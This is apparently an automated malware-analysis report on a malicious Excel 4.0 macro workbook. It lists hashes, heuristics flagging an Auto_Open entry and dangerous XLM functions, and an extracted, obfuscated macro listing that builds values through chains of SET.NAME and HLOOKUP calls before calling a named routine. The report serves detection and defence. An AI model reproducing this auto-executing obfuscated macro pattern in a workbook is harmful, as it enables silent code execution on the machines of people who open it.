Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef14dfd11872d586…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:29 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 23ebbb920e5e5c9815337e3069c90e2a SHA-1: bbd7400c042d387dd2b31b0a016d07b8f28fdebe SHA-256: ef14dfd11872d5868c868d851f791f44d60a95ae4f1743fe3be0dc466c1d2e3a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Static analysis detected an Auto_Open defined name and the use of dangerous formula APIs within the XLM macro sheet. This indicates the workbook is designed to automatically execute malicious code upon opening, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6764 bytes
SHA-256: 4ffcdee6f326a4d31d0a517c482abef1c55ff6ce7c2ccb118e5c9a79fa2beca9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pPmRihNsn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D166 
' 0018     23 LABEL : Cell Value, String Constant - bExzKmEm len=0 
' 0018     23 LABEL : Cell Value, String Constant - bojepynK len=0 
' 0018     24 LABEL : Cell Value, String Constant - cCZcdKhxo len=0 
' 0018     21 LABEL : Cell Value, String Constant - dPwJdD len=0 
' 0018     24 LABEL : Cell Value, String Constant - eecsfQAjA len=0 
' 0018     26 LABEL : Cell Value, String Constant - fFyTpKZtlVg len=0 
' 0018     25 LABEL : Cell Value, String Constant - hsiXwqClUe len=0 
' 0018     23 LABEL : Cell Value, String Constant - jFmrKWSF len=0 
' 0018     23 LABEL : Cell Value, String Constant - MZIEStln len=0 
' 0018     22 LABEL : Cell Value, String Constant - NSxyFyM len=0 
' 0018     26 LABEL : Cell Value, String Constant - oOriHrZxEFj len=0 
' 0018     23 LABEL : Cell Value, String Constant - oXLaeEEh len=0 
' 0018     23 LABEL : Cell Value, String Constant - pbSKfIFt len=0 
' 0018     23 LABEL : Cell Value, String Constant - rpCFWKzE len=0 
' 0018     26 LABEL : Cell Value, String Constant - SIOOZWQPiwj len=0 
' 0018     20 LABEL : Cell Value, String Constant - SVIMW len=0 
' 0018     20 LABEL : Cell Value, String Constant - TAyDx len=0 
' 0018     22 LABEL : Cell Value, String Constant - vcGxjNB len=0 
' 0018     20 LABEL : Cell Value, String Constant - YrSLa len=0 
' 0018     25 LABEL : Cell Value, String Constant - YtqmTqvtZR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pPmRihNsn,D82,"SET.NAME("jFmrKWSF",0+VALUE("0"))",""
'  pPmRihNsn,D86,"SET.NAME("TAyDx",jFmrKWSF)",""
'  pPmRihNsn,D90,"SET.NAME("oXLaeEEh",jFmrKWSF)",""
'  pPmRihNsn,D94,"SET.NAME("rpCFWKzE",COUNTA(vcGxjNB))",""
'  pPmRihNsn,S94,"",256.00000000000000000000
'  pPmRihNsn,S95,"",562.00000000000000000000
'  pPmRihNsn,S96,"",405.00000000000000000000
'  pPmRihNsn,D97,"SET.NAME("bojepynK",COUNTA(hsiXwqClUe))",""
'  pPmRihNsn,S97,"",-566.00000000000000000000
'  pPmRihNsn,S98,"",331.00000000000000000000
'  pPmRihNsn,D99,[],""
'  pPmRihNsn,S99,"",-430.00000000000000000000
'  pPmRihNsn,D101,"SET.NAME("fFyTpKZtlVg","")",""
'  pPmRihNsn,D103,"TAyDx",""
'  pPmRihNsn,D105,"SET.NAME("cCZcdKhxo",HLOOKUP("*",vcGxjNB,TAyDx,FALSE))",""
'  pPmRihNsn,D107,"YtqmTqvtZR",""
'  pPmRihNsn,D111,"SET.NAME("NSxyFyM",jFmrKWSF)",""
'  pPmRihNsn,D114,[],""
'  pPmRihNsn,D117,"NSxyFyM",""
'  pPmRihNsn,D122,"eecsfQAjA",""
'  pPmRihNsn,D124,"pbSKfIFt",""
'  pPmRihNsn,D126,"SVIMW",""
'  pPmRihNsn,D131,"SET.NAME("MZIEStln",VALUE(HLOOKUP("*",hsiXwqClUe,SVIMW,FALSE)))",""
'  pPmRihNsn,D133,"bExzKmEm",""
'  pPmRihNsn,D136,"fFyTpKZtlVg",""
'  pPmRihNsn,D139,"oXLaeEEh",""
'  pPmRihNsn,D144,NEXT(),""
'  pPmRihNsn,D148,"dPwJdD",""
'  pPmRihNsn,D152,[],""
'  pPmRihNsn,D154,"YrSLa",""
'  pPmRihNsn,D157,NEXT(),""
'  pPmRihNsn,D162,RETURN(),""
'  pPmRihNsn,D186,"SET.NAME("SIOOZWQPiwj",D82)",""
'  pPmRihNsn,D191,"vcGxjNB",""
'  pPmRihNsn,D196,"SET.NAME("hsiXwqClUe",R75C15)",""
'  pPmRihNsn,D198,"SET.NAME("YrSLa",206)",""
'  pPmRihNsn,D202,"SET.NAME("oOriHrZxEFj",4)",""
'  pPmRihNsn,D205,SIOOZWQPiwj(),""
'  pPmRihNsn,D206,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.